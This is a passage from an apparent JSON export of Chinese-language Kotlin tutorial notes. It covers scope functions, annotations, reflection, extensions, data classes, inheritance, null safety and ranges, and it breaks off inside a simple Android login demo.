不同，限定的名称总是使用点字符\n来分隔组件，即使在方法名称之前：\n```\n使用 [kotlin.reflect.KClass.properties] 来枚举类的属性。\n```\n链接中的名称与正写文档的元素内使用该名称使用相同的规则解析。\n特别是，这意味着如果你已将名称导入当前文件，那么当你在`KDoc`注释中使用它时，\n不需要再对其进行完整限定。\n\n请注意`KDoc`没有用于解析链接中的重载成员的任何语法。因为`Kotlin`文档生成\n工具将一个函数的所有重载的文档放在同一页面上，标识一个特定的重载函数\n并不是链接生效所必需的。\n\n\n\n常用操作符及函数\n---\n\n#### `let`操作符  \n\n如果对象的值不为空，则允许执行这个方法。返回值是函数里面最后一行，或者指定`return`\n```kotlin\nprivate var test: String? = null\n\nprivate fun switchFragment(position: Int) {\n    test?.let {\n        LogUtil.e(\"@@@\", \"test is not null\")\n    }\n}    \n```\n\n说到可能有人会觉得没什么用，用`if`判断下是不是空不就完了.\n```kotlin\nprivate var test: String? = null\n\nprivate fun switchFragment(position: Int) {\n//        test?.let {\n//            LogUtil.e(\"@@@\", \"test is null\")\n//        }\n\n    if (test == null) {\n        LogUtil.e(\"@@@\", \"test is null\")\n    } else {\n        LogUtil.e(\"@@@\", \"test is not null ${test}\")\n        check(test) // 报错\n    }\n}    \n```\n但是会报错:`Smart cast to 'String' is impossible, beacuase 'test' is a mutable property that could have been changed by this time`\n\n#### `sNullOrEmpty | isNullOrBlank`\n\n```kotlin\npublic inline fun CharSequence?.isNullOrEmpty(): Boolean = this == null || this.length == 0\n\npublic inline fun CharSequence?.isNullOrBlank(): Boolean = this == null || this.isBlank()\n\n// If we do not care about the possibility of only spaces...\nif (number.isNullOrEmpty()) {\n    // alert the user to fill in their number!\n}\n\n// when we need to block the user from inputting only spaces\nif (name.isNullOrBlank()) {\n    // alert the user to fill in their name!\n}\n```\n\n#### `with`函数\n\n`with`是一个非常有用的函数，它包含在`Kotlin`的标准库中。它接收一个对象和一个扩展函数作为它的参数，然后使这个对象扩展这个函数。\n这表示所有我们在括号中编写的代码都是作为对象（第一个参数）的一个扩展函数，我们可以就像作为`this`一样使用所有它的`public`方法和属性。\n当我们针对同一个对象做很多操作的时候这个非常有利于简化代码。\n\n```kotlin\nfun testWith() {\n    with(ArrayList<String>()) {\n        add(\"testWith\")\n        add(\"testWith\")\n        add(\"testWith\")\n        println(\"this = \" + this)\n    }\n}\n// 运行结果\n// this = [testWith, testWith, testWith]\n```\n\n#### `repeat`函数\n\n`repeat`函数是一个单独的函数，定义如下:     \n```kotlin\n/**\n * Executes the given function [action] specified number of [times].\n *\n * A zero-based index of current iteration is passed as a parameter to [action].\n */\n@kotlin.internal.InlineOnly\npublic inline fun repeat(times: Int, action: (Int) -> Unit) {\n    contract { callsInPlace(action) }\n\n    for (index in 0..times - 1) {\n        action(index)\n    }\n}\n```\n通过代码很容易理解，就是循环执行多少次`block`中内容。\n```kotlin\nfun main(args: Array<String>) {\n    repeat(3) {\n        println(\"Hello world\")\n    }\n}\n```\n运行结果是:    \n```kotlin\nHello world\nHello world\nHello world\n```\n\n#### `apply`函数\n\n`apply`函数是这样的，调用某对象的`apply`函数，在函数范围内，可以任意调用该对象的任意方法，并返回该对象\n```kotlin\nfun testApply() {\n    ArrayList<String>().apply {\n        add(\"testApply\")\n        add(\"testApply\")\n        add(\"testApply\")\n        println(\"this = \" + this)\n    }.let { println(it) }\n}\n\n// 运行结果\n// this = [testApply, testApply, testApply]\n// [testApply, testApply, testApply]\n```\n\n`run`函数和`apply`函数很像，只不过run函数是使用最后一行的返回，apply返回当前自己的对象。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(六).md",
    "content": "Kotlin学习教程(六)\n===\n\n### 注解  \n\n注解是将元数据附加到代码的方法。要声明注解，请将`annotation`修饰符放在类的前面:  \n\n```kotlin\nannotation class Fancy\n```\n\n注解的附加属性可以通过用元注解标注注解类来指定:  \n\n- `@Target`指定可以用该注解标注的元素的可能的类型(类、函数、属性、表达式等)\n- `@Retention`指定该注解是否存储在编译后的`class`文件中，以及它在运行时能否通过反射可见(默认都是`true`)\n- `@Repeatable`允许在单个元素上多次使用相同的该注解\n- `@MustBeDocumented`指定该注解是公有`API`的一部分，并且应该包含在生成的`API`文档中显示的类或方法的签名中\n\n\n```kotlin\n@Target(AnnotationTarget.CLASS, AnnotationTarget.FUNCTION,\n        AnnotationTarget.VALUE_PARAMETER, AnnotationTarget.EXPRESSION)\n@Retention(AnnotationRetention.SOURCE)\n@MustBeDocumented\nannotation class Fancy\n```\n\n### 用法 \n\n```kotlin\n@Fancy class Foo {\n    @Fancy fun baz(@Fancy foo: Int): Int {\n        return (@Fancy 1)\n    }\n}\n```\n\n如果需要对类的主构造函数进行标注，则需要在构造函数声明中添加`constructor`关键字，并将注解添加到其前面:   \n\n```kotlin\nclass Foo @Inject constructor(dependency: MyDependency) {\n    // ……\n}\n```\n\n### 反射\n\n反射是这样的一组语言和库功能，它允许在运行时自省你的程序的结构。\n`Kotlin`让语言中的函数和属性做为一等公民、并对其自省（即在运行时获悉一个名称或者一个属性或函数的类型）与简单地使用函数式或响应式风格紧密相关。\n\n在`Java`平台上，使用反射功能所需的运行时组件作为单独的`JAR`文件(`kotlin-reflect.jar`)分发。这样做是为了减少不使用反射功能的应用程序所需的\n运行时库的大小。如果你需要使用反射，请确保该`.jar`文件添加到项目的`classpath`中。\n\n\n### 类引用\n\n最基本的反射功能是获取`Kotlin`类的运行时引用。要获取对静态已知的`Kotlin`类的引用，可以使用类字面值语法:   \n\n```kotlin\nval c = MyClass::class\n```\n该引用是`KClass`类型的值。\n通过使用对象作为接收者，可以用相同的`::class`语法获取指定对象的类的引用:   \n\n```kotlin\nval widget: Widget = ……\nassert(widget is GoodWidget) { \"Bad widget: ${widget::class.qualifiedName}\" }\n```\n\n当我们有一个命名函数声明如下:  \n\n```kotlin\nfun isOdd(x: Int) = x % 2 != 0\n```\n我们可以很容易地直接调用它`isOdd(5)`，但是我们也可以把它作为一个值传递。例如传给另一个函数。为此我们使用`::`操作符:    \n\n```kotlin\nval numbers = listOf(1, 2, 3)\nprintln(numbers.filter(::isOdd)) // 输出 [1, 3]\n```\n\n### 扩展     \n\n扩展是`kotlin`中非常重要的一个特性，它能让我们对一些已有的类进行功能增加、简化，使他们更好的应对我们的需求。\n\n```kotlin\n//  对Context的扩展，增加了toast方法。为了更好的看到效果，我还加了一段log日志\nfun Context.toast(msg : String){\n    Toast.makeText(this, msg, Toast.LENGTH_SHORT).show()\n    Log.d(\"text\", \"Toast msg : $msg\")\n}\n\n// Activity类，由于所有Activity都是Context的子类，所以可以直接使用扩展的toast方法\nclass MainActivity : AppCompatActivity() {\n    override fun onCreate(savedInstanceState: Bundle?) {\n        ......\n        toast(\"hello, Extension\")\n    }\n}\n\n// 输出\nToast msg : hello, Extension\n```\n\n按照通常的做法，会写一个`ToastUtils`工具类，或者在`BaseActivity`中实现`toast`。但是使用扩展函数就会简单很。 \n上面的例子就是在`Context`中添加新的方法，让我们以更简单的方式去显示`toast`，并且不用传入任何`context`参数，可以被任何`Context`或者\n它的子类调用。我们可以在任何地方(例如一个工具类文件中)声明这个函数，然后在`Activity`中将它作为普通方法来直接调用。当然了`Anko`中已经包括了\n自己的`toast`扩展函数。有关`Anko`后面会讲到。\n\n`Kotlin`扩展函数允许我们在不改变已有类的情况下，为类添加新的函数。\n扩展函数是指对类的方法进行扩展，写法和定义方法类似，但是要声明目标类，也就是对哪个类进行扩展，`kotlin`中称之为`Top Level`。\n扩展函数表现得就像是属于这个类的一样，而且我们可以使用`this`关键字和调用所有`public`方法。\n扩展函数可以在已有类中添加新的方法，不会对原类做修改，扩展函数定义形式:   \n```kotlin\nfun receiverType.functionName(params){\n    body\n}\nreceiverType：表示函数的接收者，也就是函数扩展的对象\nfunctionName：扩展函数的名称\nparams：扩展函数的参数，可以为NULL\n```\n\n在上面我们举的扩展的例子就是扩展函数.其中`Context`就是目标类`Top Level`，我们把它放到方法名前，用点`.`表示从属关系。在方法体中用关键字\n`this`对本体进行调用。和普通方法一样，如果有返回值，在方法后面跟上返回类型，我这里没有返回值，所以直接省略了。\n\n\n##### 扩展属性\n\n\n扩展属性和扩展方法类似，是对目标类的属性进行扩展。扩展属性也会有`set`和`get`方法，并且要求实现这两个方法，不然会提示编译错误。\n因为扩展并不是在目标类上增加了这个属性，所以目标类其实是不持有这个属性的，我们通过`get`和`set`对这个属性进行读写操作的时候也不能使用\n`field`指代属性本体。可以使用`this`，依然表示的目标类。\n\n```kotlin\n// 扩展了一个属性paddingH\nvar View.panddingH : Int\n    get() = (paddingLeft + paddingRight) / 2\n    set(value) {\n        setPadding(value, paddingTop, value, paddingBottom)\n    }\n\n// 设置值\ntext.panddingH = 100\n```\n\n给`View`扩展了一个属性`paddingH`，并给属性增加了`set`和`get`方法，然后可以在`activity`中通过`textview`调用。\n\n\n##### 静态扩展\n\n`kotlin`中的静态用关键字`companion`表示，但是它不是修饰属性或方法，而是定义一个方法块，在方法块中的所有方法和属性都是静态的，\n这样就将静态部分统一包装了起来。静态部分的访问和`java`一致，直接使用类名+静态属性/方法名调用。   \n\n```kotlin\n// 定义静态部分\nclass Extension {\n    companion object part{\n        var name = \"Extension\"\n    }\n}\n\n// 通过类名+属性名直接调用\ntoast(\"hello, ${Extension.name}\")\n\n// 输出\nToast msg : hello, Extension\n```\n上面例子中，`companion object`一起是修饰关键字，`part`是方法块的名称。其中方法块名称`part`可以省略，如果省略的话，默认缺省名为\n`Companion`\n\n静态的扩展和普通的扩展类似，但是在目标类要加上静态方法块的名称，所以如果我们要对一个静态部分扩展，就要先知道静态方法块的名称才行。\n\n```kotlin\nclass Extension {\n    companion object part{\n        var name = \"Extension\"\n    }\n}\n\n// part为静态方法块名称\nfun Extension.part.upCase() : String{\n    return name.toUpperCase()\n}\n\n// 调用一下\ntoast(\"hello, ${Extension.name}\")\ntoast(\"hello, ${Extension.upCase()}\")\n\n//输出\nToast msg : hello, Extension\nToast msg : hello, EXTENSION\n```\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(十).md",
    "content": "Kotlin学习教程(十)\n===\n\n\n### `Kotlin`用到的关键字\n\n- `var`：定义变量\n- `val`：定义常量\n- `fun`：定义方法\n- `Unit`：默认方法返回值，类似于`Java`中的`void`，可以理解成返回没什么用的值\n- `vararg`：可变参数\n- `$`：字符串模板(取值)\n- 位运算符：`or`(按位或)，`and`(按位与)，`shl`(有符号左移)，`shr`(有符号右移)，\n- `ushr`(无符号右移)，`xor`(按位异或)，`inv`(按位取反)\n- `in`：在某个范围中 检查值是否在或不在(`in/!in`)范围内或集合中\n- `downTo`：递减，循环时可用，每次减1\n- `step`:步长，循环时可用，设置每次循环的增加或减少的量\n- `when`:`Kotlin`中增强版的`switch`，可以匹配值，范围，类型与参数\n- `is`：判断类型用，类似于`Java`中的`instanceof()`，`is`运算符检查表达式是否是类型的实例。 如果一个不可变的局部变量或属性是指定类型，\n则不需要显式转换\n- `private`仅在同一个文件中可见\n- `protected`同一个文件中或子类可见\n- `public`所有调用的地方都可见\n- `internal`同一个模块中可见\n- `abstract`抽象类标示\n- `final`标示类不可继承，默认属性\n- `enum`标示类为枚举\n- `open`类可继承，类默认是`final`的\n- `annotation`注解类\n- `init`主构造函数不能包含任何的代码。初始化的代码可以放到以`init`关键字作为前缀的初始化块(`initializer blocks`)中\n- `field`只能用在属性的访问器内。特别注意的是，`get set`方法中只能能使用`filed`。属性访问器就是`get set`方法。\n- `:`用于类的继承，变量的定义 \n-  `..`围操作符(递增的) `1..5`，`2..6`千万不要`6..2`\n- `::`作用域限定符\n- `inner`类可以标记为`inner {: .keyword }`以便能够访问外部类的成员。内部类会带有一个对外部类的对象的引用\n- `object`对象声明并且它总是在`object{: .keyword }`关键字后跟一个名称。对象表达式：在要创建一个继承自某个(或某些)类型的匿名类的对象会\n用到\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(四).md",
    "content": "Kotlin学习教程(四)\n===\n\n\n### 数据类:使用`data class`定义\n\n数据类是一种非常强大的类。在[Kotlin学习教程(一)][1]中最开始的用的简洁的示例代码就是一个数据类。这里我们再拿过来:   \n```java\npublic class Artist {\n    private long id;\n    private String name;\n    private String url;\n    private String mbid;\n\n    public long getId() {\n        return id;\n    }\n\n\n    public void setId(long id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getMbid() {\n        return mbid;\n    }\n\n    public void setMbid(String mbid) {\n        this.mbid = mbid;\n    }\n\n    @Override public String toString() {\n        return \"Artist{\" +\n          \"id=\" + id +\n          \", name='\" + name + '\\'' +\n          \", url='\" + url + '\\'' +\n          \", mbid='\" + mbid + '\\'' +\n          '}';\n    }\n}\n```\n使用`Kotlin`:  \n```kotlin\ndata class Artist(\n    var id: Long,\n    var name: String,\n    var url: String,\n    var mbid: String)\n```\n\n通过数据类，会自动提供以下函数：\n- 所有属性的`get() set()`方法\n- `equals()`\n- `hashCode()`\n- `copy()`\n- `toString()`\n- 一系列可以映射对象到变量中的函数(后面再说)。\n\n如果我们使用不可修改的对象，就像我们之前讲过的，假如我们需要修改这个对象状态，必须要创建一个新的一个或者多个属性被修改的实例。\n这个任务是非常重复且不简洁的。\n\n举个例子,如果要修改`Person`类中`charon`的`age`: \n\n```kotlin\ndata class Person(val name: String,\n                  val age: Int)\n```\n\n```kotlin\nval charon = Person(\"charon\", 18)\nval charon2 = charon.copy(age = 19)\n```\n如上，我们拷贝了`charon`对象然后只修改了`age`的属性而没有修改这个对象的其它状态。\n\n### 多声明\n\n多声明，也可以理解为变量映射，这就是编译器自动生成的`componentN()`方法。\n\n```kotlin\nvar personD = PersonData(\"PersonData\", 20, \"male\")\nvar (name, age) = personD\n\n\nLog.d(\"test\", \"name = $name, age = $age\")\n\n//输出\nname = PersonData, age = 20\n```\n\n上面的多声明，大概可以翻译成这样：\n\n```kotlin\nvar name = f1.component1()\nvar age = f1.component2()\n```\n\n\n### 继承\n\n在`Kotlin`中所有类都有一个共同的超类`Any`，这对于没有超类型声明的类是默认超类:   \n```kotlin\nclass Person // 从 Any 隐式继承\n```\n\n`Any`不是`java.lang.Object`。它除了`equals()`、`hashCode()`和`toString()`外没有任何成员。\n`Kotlin`中所有的类默认都是不可继承的(`final`)，为什么要这样设计呢？引用`Effective Java`书中的第17条:要么为继承而设计，并提供文档说明，\n要么就禁止继承。所以我们只能继承那些明确声明`open`或者`abstract`的类:要声明一个显式的超类型，我们把类型放到类头的冒号之后:   \n```kotlin\nopen class Person(num: Int)\n// 继承\nclass SuperPerson(num: Int) : Person(num)\n```\n如果该类有一个主构造函数，其基类必须用基类型的主构造函数参数就地初始化。\n如果类没有主构造函数，那么每个次构造函数必须使用`super`关键字初始化其基类型，或委托给另一个构造函数做到这一点。\n注意，在这种情况下，不同的次构造函数可以调用基类型的不同的构造函数:   \n```kotlin\nclass MyView : View {\n    constructor(ctx: Context) : super(ctx)\n    constructor(ctx: Context, attrs: AttributeSet) : super(ctx, attrs)\n}\n```\n\n### 覆盖\n\n##### 方法覆盖\n\n\n只能重写显示标注可覆盖的方法:   \n```kotlin\nopen class Person(num: Int) {\n    open fun changeName(name: String) {\n\n    }\n\n    fun changeAge(age: Int) {\n\n    }\n}\n\nclass SuperPerson(num: Int) : Person(num) {\n    override fun changeName(name: String) {\n        // 通过super关键字调用超类实现\n        super.changeName(name)\n    }\n}\n```\n`SuperPerson.changeName()`方法前面必须加上`override`标注，不然编译器将会报错。如果像上面`Person.changeAge()`方法没有标注`open`,\n则子类中不能定义相同的方法:   \n```kotlin\nclass SuperPerson(num: Int) : Person(num) {\n    override fun changeName(name: String) {\n        super.changeName(name)\n    }\n\n    // 编译器报错\n    fun changeAge(age: Int) {\n\n    }\n    // 重载是可以的\n    fun changeAge(name: String) {\n\n    }\n    // 重载是可以的\n    fun changeAge(age: Int, name: String) {\n\n    }\n}\n```\n\n标记为`override`的成员本身是开放的，也就是说，它可以在子类中覆盖。如果你想禁止再次覆盖，可以使用`final`关键字:    \n\n```kotlin\nopen class SuperPerson(num: Int) : Person(num) {\n    final override fun changeName(name: String) {\n        super.changeName(name)\n    }\n}\n```\n\n##### 属性覆盖\n\n属性覆盖与方法覆盖类似，只能覆盖显示标明`open`的属性，并且要用`override`开头:  \n\n```kotlin\nopen class Person(num: Int) {\n    open val name: String = \"\"\n\n    open fun changeName(name: String) {\n\n    }\n\n    fun changeAge(age: Int) {\n\n    }\n}\n\nopen class SuperPerson(num: Int) : Person(num) {\n    override val name: String\n        get() = super.name\n\n    final override fun changeName(name: String) {\n        super.changeName(name)\n    }\n\n}\n```\n\n每个声明的属性可以由具有初始化器的属性或者具有`get`方法的属性覆盖，你也可以用一个`var`属性覆盖一个`val`属性，但反之则不行。\n\n\n\n### 抽象类\n\n类和其中的某些成员可以声明为`abstract`。抽象成员在本类中可以不用实现。 需要注意的是，我们并不需要用`open`标注一个抽象类或者函数——因为这不\n言而喻。\n\n我们可以用一个抽象成员覆盖一个非抽象的开放成员:  \n```kotlin\nopen class Base {\n    open fun f() {}\n}\n\nabstract class Derived : Base() {\n    override abstract fun f()\n}\n```\n\n### 修饰符\n\n`Kotlin`中修饰符是与`Java`中的有些不同。在`kotlin`中默认的修饰符是`public`，这节约了很多的时间和字符。\n\n- `private`        \n    `private`修饰符是最限制的修饰符，和`Java`中`private`一样。它表示它只能被自己所在的文件可见。所以如果我们给一个类声明为`private`，\n    我们就不能在定义这个类之外的文件中使用它。\n    另一方面，如果我们在一个类里面使用了private修饰符，那访问权限就被限制在这个类里面了。甚至是继承这个类的子类也不能使用它。\n\n- `protected`.    \n    与`Java`一样，它可以被成员自己和继承它的成员可见。\n\n- `internal`\n    如果是一个定义为`internal`的包成员的话，对所在的整个`module`可见。如果它是一个其它领域的成员，它就需要依赖那个领域的可见性了。\n    比如如果写了一个`private`类，那么它的`internal`修饰的函数的可见性就会限制与它所在的这个类的可见性。\n\n- `public`.   \n    你应该可以才想到，这是最没有限制的修饰符。这是默认的修饰符，成员在任何地方被修饰为public，很明显它只限制于它的领域。\n\n\n### 数组  \n\n数组用类`Array`实现，并且还有一个`size`属性及`get`和`set`方法，由于使用`[]`重载了`get`和`set`方法，所以我们可以通过下标很方便的获取或者\n设置数组对应位置的值。       \n`Kotlin`标准库提供了`arrayOf()`创建数组和`xxArrayOf`创建特定类型数组      \n```kotlin\nval array = arrayOf(1, 2, 3)\nval countries = arrayOf(\"UK\", \"Germany\", \"Italy\")\nval numbers = intArrayOf(10, 20, 30)\nval array1 = Array(10, { k -> k * k })\nval longArray = emptyArray<Long>()\nval studentArray = Array<Student>(2)\nstudentArray[0] = Student(\"james\")\n```\n\n和`Java`不一样的是`Kotlin`的数组是容器类，提供了`ByteArray`,`CharArray`,`ShortArray`,`IntArray`,`LongArray`,`BooleanArray`,\n`FloatArray`和`DoubleArray`。\n\n### 集合 \n\n\n`Kotlin`的`List<out T>`类型是一个提供只读操作如`size`、`get`等的接口。和`Java`类似，它继承自`Collection<T>`进而继承自`Iterable<T>`。\n改变`list`的方法是由`MutableList<T>`加入的。这一模式同样适用于`Set<out T>/MutableSet<T>`及`Map<K, out V>/MutableMap<K, V>`。\n\n`Kotlin`没有专门的语法结构创建`list`或`set`。要用标准库的方法如`listOf()`、`mutableListOf()`、`setOf()`、`mutableSetOf()`。\n创建`map`可以用`mapOf(a to b, c to d)`。\n\n```kotlin\nfun main(args : Array<String>) {\n    var lists = listOf(\"a\", \"b\", \"c\")\n    for(list in lists) {\n        println(list)\n    }\n}\n```\n\n```kotlin\nfun main(args : Array<String>) {\n    var map = TreeMap<String, String>()\n    map[\"0\"] = \"0 haha\"\n    map[\"1\"] = \"1 haha\"\n    map[\"2\"] = \"2 haha\"\n    \n    println(map[\"1\"])\n}\n```\n\n```kotlin    \nval numbers: MutableList<Int> = mutableListOf(1, 2, 3)\nval readOnlyView: List<Int> = numbers\nprintln(numbers)        // 输出 \"[1, 2, 3]\"\nnumbers.add(4)\nprintln(readOnlyView)   // 输出 \"[1, 2, 3, 4]\"\nreadOnlyView.clear()    // -> 不能编译\n\nval strings = hashSetOf(\"a\", \"b\", \"c\", \"c\")\nassert(strings.size == 3)\n```\n\n\n### 可`null`类型  \n\n\n因为在`Kotlin`中一切都是对象，一切都是可`null`的。当某个变量的值可以为`null`的时候，必须在声明处的类型后添加`?`来标识该引用可为空。\n`Kotlin`通过`?`将是否允许为空分割开来，比如`str:String`为不能空，加上`?`后的`str:String?`为允许空，通过这种方式，将本是不能确定的变\n量人为的加入了限制条件。而不符合条件的输入，则会在`IDE`上显示编译错误而无法执行。\n\n```kotlin\nvar value1: String\nvalue1 = null        // 编译错误 Null can not be a value of a non-null type String\n\nvar value2 : String? \nvalue2 = null       // 编译通过\n```\n在对变量进行操作时，如果变量是可能为空的，那么将不能直接调用，因为编译器不知道你的变量是否为空，所以编译器就要求你一定要对变量进行判断\n```kotlin\nvar str : String? = null\n// 编译错误 Only safe (?.) or non-null asserted (!!.) calls are allowed on a nullable receiver of type String?\nstr.length    \n// 编译能通过，这表示如果str不为空的时候执行length方法\nstr?.length   \n```\n\n那么问题来了，我们知道在`java`中`String.length`返回的是`int`，上面的`str?.length`既然编译通过了，那么它返回了什么？我们可以这么写:  \n\n`var result = str?.length`\n\n这么写编译器是能通过的，那么`result`的类型是什么呢？在`Kotlin`中，编译器会自动根据结果判断变量的类型，翻译成普通代码如下:   \n\n```kotlin\nif(str == null)\n    result = null;            // 这里result为一个引用类型\nelse\n    result = str.length;    // 这里result为Int\n```\n那么如果我们需要的就是一个`Int`的结果(事实上大部分情况都是如此)，那又该怎么办呢？在`kotlin`中除了`?`表示可为空以外，还有一个新的符号`:`双\n感叹号`!!`，表示一定不能为空。所以上面的例子，如果要对`result`进行操作，可以这么写:  \n```kotlin\nvar str : String? = null\nvar result : Int = str!!.length\n```\n\n这样的话，就能保证`result`的数据类型，但是这样还有一个问题，那就是`str`的定义是可为空的，上面的代码中，`str`就是空，这时候下面的操作虽然\n不会报编译异常，但是运行时就会见到我们熟悉的空指针异常`NullPointerExectpion`，这显然不是我们希望见到的，也不是`kotlin`愿意见到的。\n`java`中的三元操作符大家应该都很熟悉了，`kotlin`中也有类似的，它很好的解决了刚刚说到的问题。在`kotlin`中，三元操作符是`?:`，写起来也\n比`java`要方便一些。\n\n```kotlin\nvar str : String? = null\nvar result = str?.length ?: -1\n//等价于\nvar result : Int = if(str != null) str.length else -1\n```\n\n`if null`缩写\n\n```kotlin\nval data = ……\nval email = data[\"email\"] ?: throw IllegalStateException(\"Email is missing!\")\n```\n\n如果`?:`左侧表达式非空，`elvis`操作符就返回其左侧表达式，否则返回右侧表达式。\n请注意，当且仅当左侧为空时，才会对右侧表达式求值。\n\n\n##### `!!`操作符\n\n我们可以写`b!!`，这会返回一个非空的`b`值\n(例如:在我们例子中的`String`)或者如果`b`为空，就会抛出一个空指针异常:     \n```kotlin\nval l = b!!.length\n```\n\n因此，如果你想要一个 NPE，你可以得到它，但是你必须显式要求它，否则它不会不期而至。\n\n\n#### 安全的类型转换\n\n如果对象不是目标类型，那么常规类型转换可能会导致`ClassCastException`。\n另一个选择是使用安全的类型转换，如果尝试转换不成功则返回`null{: .keyword }`:    \n\n```kotlin\nval aInt: Int? = a as? Int\n```\n\n#### 可空类型的集合\n\n如果你有一个可空类型元素的集合，并且想要过滤非空元素，你可以使用`filterNotNull`来实现。\n```kotlin\nval nullableList: List<Int?> = listOf(1, 2, null, 4)\nval intList: List<Int> = nullableList.filterNotNull()\n```\n\n### 表达式    \n\n##### `if`表达式    \n\n在`Kotlin`中，`if`是一个表达式，即它会返回一个值。因此就不需要三元运算符`条件 ? 然后 : 否则`，因为普通的`if`就能胜任这个角色。\n`if`的分支可以是代码块，最后的表达式作为该块的值:   \n```kotlin\nval max = if (a > b) {\n    print(\"Choose a\")\n    a\n} else {\n    print(\"Choose b\")\n    b\n}\n```\n\n\n##### `when`表达式    \n\n`when`表达式与`Java`中的`switch/case`类似，但是要强大得多。这个表达式会去试图匹配所有可能的分支直到找到满意的一项。然后它会运行右边的表达\n式。      \n与`Java`的`switch/case`不同之处是参数可以是任何类型，并且分支也可以是一个条件。\n\n对于默认的选项，我们可以增加一个`else`分支，它会在前面没有任何条件匹配时再执行。条件匹配成功后执行的代码也可以是代码块:     \n```kotlin\nwhen (x){\n    1 -> print(\"x == 1\") \n    2 -> print(\"x == 2\") \n    else -> {\n        print(\"I'm a block\")\n        print(\"x is neither 1 nor 2\")\n    }\n}\n```\n\n因为它是一个表达式，它也可以返回一个值。我们需要考虑什么时候作为一个表达式使用，它必须要覆盖所有分支的可能性或者实现`else`分支。否则它不会被\n编译成功:   \n\n```kotlin\nval result = when (x) {\n    0, 1 -> \"binary\"\n    else -> \"error\"\n}\n```\n\n如你所见，条件可以是一系列被逗号分割的值。但是它可以更多的匹配方式。比如，我们可以检测参数类型并进行判断:  \n\n```kotlin\nwhen(view) {\n    is TextView -> view.setText(\"I'm a TextView\")\n    is EditText -> toast(\"EditText value: ${view.getText()}\")\n    is ViewGroup -> toast(\"Number of children: ${view.getChildCount()} \")\n    else -> view.visibility = View.GONE\n}\n```\n\n##### for循环\n\n```kotlin\nval items = listOf(\"apple\", \"banana\", \"kiwi\")\nfor (item in items) {\n    println(item)\n}\n\nfor (i in array.indices)\n    print(array[i])\n```\n\n### 使用类型检测及自动类型转换\n\n`is`运算符检测一个表达式是否某类型的一个实例。 如果一个不可变的局部变量或属性已经判断出为某类型，那么检测后的分支中可以直接当作该类型使用，\n无需显式转换:   \n\n```kotlin\nfun getStringLength(obj: Any): Int? {\n    if (obj !is String) return null\n\n    // `obj` 在这一分支自动转换为 `String`\n    return obj.length\n}\n```\n\n### 返回和跳转\n\n`Kotlin`有三种结构化跳转表达式:    \n\n- `return`:默认从最直接包围它的函数或者匿名函数返回。\n- `break`:终止最直接包围它的循环。\n- `continue`:继续下一次最直接包围它的循环。\n\n在`Kotlin`中任何表达式都可以用标签`label`来标记。标签的格式为标识符后跟`@`符号，例如:`abc@`、`fooBar@`都是有效的标签。\n\n要为一个表达式加标签，我们只要在其前加标签即可。\n```kotlin\nloop@ for (i in 1..100) {\n    for (j in 1..100) {\n        if (……) break@loop\n    }\n}\n```\n\n\n### Ranges\n\n`Range`表达式使用一个`..`操作符。表示就是一个该范围内的数据的数组，包含头和尾\n\n```kotlin\nvar nums = 1..100 \nfor(num in nums) {\n\tprintln(num)\n\t// 打印出1 2 3 ....100\n}\n```\n\n```kotlin\nif(i >= 0 && i <= 10) \n    println(i)\n```\n转换成 \n\n```kotlin\nif (i in 0..10) \n    println(i)\n```\nRanges默认会自增长，所以如果像以下的代码：\n```kotlin\nfor (i in 10..0)\n    println(i)\n```\n它就不会做任何事情。但是你可以使用`downTo`函数：\n```kotlin\nfor(i in 10 downTo 0)\n    println(i)\n```\n\n我们可以在`Ranges`中使用`step`来定义一个从`1`到一个值的不同的空隙:   \n```kotlin\nfor (i in 1..4 step 2) println(i)\nfor (i in 4 downTo 1 step 2) println(i)\n```\n\n### Until\n\n上面的`Range`是包含了头和尾，那如果只想包含头不包含尾呢？ 就要用`until`\n\n```kotlin\nvar nums = 1 until 100\nfor(num in nums) {\n\tprintln(num)\n\t// 这样打印出来是1 2 3 .....99\n}\n```\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B8%80).md \"Kotlin学习教程(一)\"\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/Kotlin相关/Kotlin-for-android.md",
    "content": "# Kotlin for android\n\n> 作者：https://github.com/linsir6\n>\n> 原文：http://www.jianshu.com/p/e713ba6f7c47\n\n\n\n> kotlin最近真的是大热啊，总让人有一种不明觉厉的感觉，但是其实网上的学习资料少之又少，下面推荐几个学习的平台，顺便展示一个实现登录注册的demo\n\n\n\n- [Kotlin 示例教程](https://github.com/linsir6/Kotlin)\n\n\n- [kotlin中文官网](https://www.kotlincn.net/)\n- [kotlin官网](https://kotlinlang.org/)\n- [kotlin官网翻译](https://github.com/huanglizhuo/kotlin-in-chinese)\n- [kotlin书籍](https://github.com/wangjiegulu/kotlin-for-android-developers-zh)\n- [kotlin demo](https://github.com/linsir6/PoiShuhui-Kotlin)\n\n\n\n下面就我们就开始一个入门级别的demo吧，现在谷歌已经推出了android studio3.0已经支持了Kotlin这门语言，下载地址：https://developer.android.google.cn/studio/preview/index.html ，只需要在这里新建一个工程，然后在是否要加入kotlin的选项上面勾一下就可以了。\n\n\n\n\n\n下面看一下登录注册的代码：\n\n```kotlin\nclass MainActivity : AppCompatActivity() {\n\n    var userName: EditText? = null\n    var userPwd: EditText? = null\n    var register: Button? = null\n    var login: Button? = null\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n        setContentView(R.layout.activity_main)\n\n        userName = findViewById(R.id.user_name) as EditText\n        userPwd = findViewById(R.id.user_pwd) as EditText\n\n        register = findViewById(R.id.register) as Button\n        login = findViewById(R.id.login) as Button\n\n        login!!.setOnClickListener {\n            if (userName!!.text.toString() == \"123456\" && userPwd!!.text.toString() == \"abc\") 